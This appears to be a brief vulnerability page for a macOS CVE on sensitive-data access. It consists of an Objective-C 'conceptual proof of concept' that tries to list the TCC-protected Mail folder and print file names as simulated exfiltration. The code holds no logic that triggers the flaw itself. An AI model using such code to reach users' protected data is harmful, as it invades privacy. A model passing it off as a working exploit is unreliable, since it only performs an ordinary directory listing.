CVE-2026-20670 macOS敏感数据访问漏洞

#include <Foundation/Foundation.h> /* * Conceptual PoC for CVE-2026-20670 * This code demonstrates how a malicious app might attempt to access * sensitive data by leveraging the authorization state management flaw. * Note: Actual exploitation requires specific logic triggering the bug. */ int main(int argc, const char * argv[]) { @autoreleasepool { // Target a sensitive directory normally protected by macOS TCC NSString *sensitivePath = @"~/Library/Mail/"; // Example protected data NSString *expandedPath = [sensitivePath stringByExpandingTildeInPath]; NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; NSLog(@"[+] Attempting to access sensitive data at: %@", expandedPath); // Attempt to list contents without explicit permission prompt // In a vulnerable version, the state management flaw might allow this NSArray *contents = [fileManager contentsOfDirectoryAtPath:expandedPath error:&error]; if (error == nil && contents) { NSLog(@"[!] SUCCESS: Accessed sensitive data. File count: %lu", (unsigned long)contents.count); // Iterate and print file names (simulating data exfiltration) for (NSString *file in contents) { NSLog(@"Found: %@", file); } } else { NSLog(@"[-] FAILED: Could not access data. Error: %@", error.localizedDescription); } } return 0; }